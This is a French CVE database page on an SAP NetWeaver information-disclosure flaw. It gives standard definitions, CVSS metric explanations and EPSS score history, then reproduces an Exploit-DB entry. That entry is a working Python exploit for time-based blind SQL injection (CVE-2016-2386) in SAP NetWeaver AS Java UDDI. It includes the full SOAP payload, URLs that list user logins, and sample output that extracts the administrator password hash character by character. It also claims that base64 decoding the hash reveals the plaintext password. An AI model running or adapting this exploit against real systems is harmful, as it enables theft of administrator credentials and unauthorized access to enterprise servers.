CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Exposure of Sensitive Information to an Unauthorized Actor The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V3.0
5.3
MEDIUM
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Network
A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).
Attack Complexity
This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.
Low
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
None
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction
This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.
Scope
Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.
Unchanged
An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.
Base: Impact Metrics
The Impact metrics refer to the properties of the impacted component.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
Low
There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is constrained. The information disclosure does not cause a direct, serious loss to the impacted component.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
None
There is no loss of integrity within the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
None
There is no impact to availability within the impacted component.
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.
Environmental Metrics
nvd@nist.gov
V2
5
AV:N/AC:L/Au:N/C:P/I:N/A:N
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.02%
–
–
2022-02-13
–
–
1.02%
–
–
2022-03-20
–
–
1.02%
–
–
2022-04-03
–
–
1.02%
–
–
2022-05-29
–
–
1.02%
–
–
2022-08-14
–
–
1.02%
–
–
2022-11-13
–
–
1.02%
–
–
2022-11-20
–
–
1.02%
–
–
2022-11-27
–
–
1.02%
–
–
2023-02-26
–
–
1.02%
–
–
2023-03-12
–
–
–
0.21%
–
2023-06-11
–
–
–
0.21%
–
2023-10-29
–
–
–
0.21%
–
2023-12-03
–
–
–
0.21%
–
2023-12-10
–
–
–
0.21%
–
2024-02-11
–
–
–
0.21%
–
2024-04-21
–
–
–
0.21%
–
2024-06-02
–
–
–
0.21%
–
2024-11-24
–
–
–
0.21%
–
2024-12-22
–
–
–
0.21%
–
2024-12-29
–
–
–
0.21%
–
2025-01-19
–
–
–
0.21%
–
2025-03-18
–
–
–
–
8.82%
2025-03-18
–
–
–
–
8.82,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2018-01-09 23h00 +00:00 Auteur : Vahagn Vardanyan EDB Vérifié : No
#!/usr/bin/env python
# coding=utf-8
"""
Author: Vahagn Vardanyan https://twitter.com/vah_13
Bugs:
CVE-2016-2386 SQL injection
CVE-2016-2388 Information disclosure
CVE-2016-1910 Crypto issue
Follow HTTP request is a simple PoC for anon time-based SQL injection (CVE-2016-2386) vulnerability in SAP NetWeaver AS Java UDDI 7.11-7.50
POST /UDDISecurityService/UDDISecurityImplBean HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
SOAPAction:
Content-Type: text/xml;charset=UTF-8
Host: nw74:50000
Content-Length: 500
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:sec="http://sap.com/esi/uddi/ejb/security/">
<soapenv:Header/>
<soapenv:Body>
<sec:deletePermissionById>
<permissionId>1' AND 1=(select COUNT(*) from J2EE_CONFIGENTRY, UME_STRINGS where UME_STRINGS.PID like '%PRIVATE_DATASOURCE.un:Administrator%' and UME_STRINGS.VAL like '%SHA-512%') AND '1'='1</permissionId>
</sec:deletePermissionById>
</soapenv:Body>
</soapenv:Envelope>
In SAP test server I have admin user who login is "Administrator" and so I used this payload
%PRIVATE_DATASOURCE.un:Administrator%
most SAP's using j2ee_admin username for SAP administrator login
%PRIVATE_DATASOURCE.un:j2ee_admin%
You can get all SAP users login using these URLs (CVE-2016-2388 - information disclosure)
1) http:/SAP_IP:SAP_PORT/webdynpro/resources/sap.com/tc~rtc~coll.appl.rtc~wd_chat/Chat#
2) http:/SAP_IP:SAP_PORT/webdynpro/resources/sap.com/tc~rtc~coll.appl.rtc~wd_chat/Messages#
Instead of J2EE_CONFIGENTRY table you can use this tables
UME_STRINGS_PERM
UME_STRINGS_ACTN
BC_DDDBDP
BC_COMPVERS
TC_WDRR_MRO_LUT
TC_WDRR_MRO_FILES
T_CHUNK !!! very big table, if SAP server will not response during 20 seconds then you have SQL injection
T_DOMAIN
T_SESSION
UME_ACL_SUP_PERM
UME_ACL_PERM
UME_ACL_PERM_MEM
An example of a working exploit
C:\Python27\python.exe SQL_injection_CVE-2016-2386.py --host nw74 --port 50000
start to retrieve data from the table UMS_STRINGS from nw74 server using CVE-2016-2386 exploit
this may take a few minutes
Found {SHA-512, 10000, 24}M
Found {SHA-512, 10000, 24}MT
Found {SHA-512, 10000, 24}MTI
Found {SHA-512, 10000, 24}MTIz
Found {SHA-512, 10000, 24}MTIzU
Found {SHA-512, 10000, 24}MTIzUV
Found {SHA-512, 10000, 24}MTIzUVd
Found {SHA-512, 10000, 24}MTIzUVdF
Found {SHA-512, 10000, 24}MTIzUVdFY
Found {SHA-512, 10000, 24}MTIzUVdFYX
Found {SHA-512, 10000, 24}MTIzUVdFYXN
Found {SHA-512, 10000, 24}MTIzUVdFYXNk
Found {SHA-512, 10000, 24}MTIzUVdFYXNk8
Found {SHA-512, 10000, 24}MTIzUVdFYXNk88
Found {SHA-512, 10000, 24}MTIzUVdFYXNk88F
Found {SHA-512, 10000, 24}MTIzUVdFYXNk88Fx
Found {SHA-512, 10000, 24}MTIzUVdFYXNk88Fxu
Found {SHA-512, 10000, 24}MTIzUVdFYXNk88FxuY
Found {SHA-512, 10000, 24}MTIzUVdFYXNk88FxuYC
Found {SHA-512, 10000, 24}MTIzUVdFYXNk88FxuYC6
Found {SHA-512, 10000, 24}MTIzUVdFYXNk88FxuYC6X
And finaly using CVE-2016-1910 (Crypto issue) you can get administrator password in plain text
base64_decode(MTIzUVdFYXNk88FxuYC6X)=123QWEasdóÁq¹ºX
"""
import argparse
import requests
import string
_magic = "{SHA-512, 10000, 24}"
_wrong_magic = "{SHA-511, 10000, 24}"
_xml = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" " \
"xmlns:sec=\"http://sap.com/esi/uddi/ejb/security/\">\r\n <soapenv:Header/>\r\n <soapenv:Body>\r\n " \
"<sec:deletePermissionById>\r\n <permissionId>1' AND 1=(select COUNT(*) from J2EE_CONFIGENTRY, " \
"UME_STRINGS where UME_STRINGS.PID like '%PRIVATE_DATASOURCE.un:Administrator%' and UME_STRINGS.VAL like '%{" \
"0}%') AND '1'='1</permissionId>\r\n </sec:deletePermissionById>\r\n </soapenv:Body>\r\n</soapenv:Envelope> "
host = ""
port = 0
_dictionary = string.digits + string.uppercase + string.lowercase
def _get_timeout(_data):
return requests.post("http://{0}:{1}/UDDISecurityService/UDDISecurityImplBean".format(host, port),
headers={
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 "
"Firefox/57.0",
"SOAPAction": "",
"Content-Type": "text/xml;charset=UTF-8"
},
data=_xml.format(_data)).elapsed.total_seconds()
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('--host')
parser.add_argument('--port')
parser.add_argument('-v')
args = parser.parse_args()
args_dict = vars(args)
host = args_dict['host']
port = args_dict['port']
print "start to retrieve data from the table UMS_STRINGS from {0} server using CVE-2016-2386 exploit ".format(host)
_hash = _magic
print "this may take a few minutes"
for i in range(24): # you can change it if like to get full hash
for _char in _dictionary:
if not (args_dict['v'] is None):
print "checking {0}".format(_hash + _char)
if _get_timeout(_hash + _char) > 1.300: # timeout for local SAP server
_hash += _char
print "Found " + _hash
break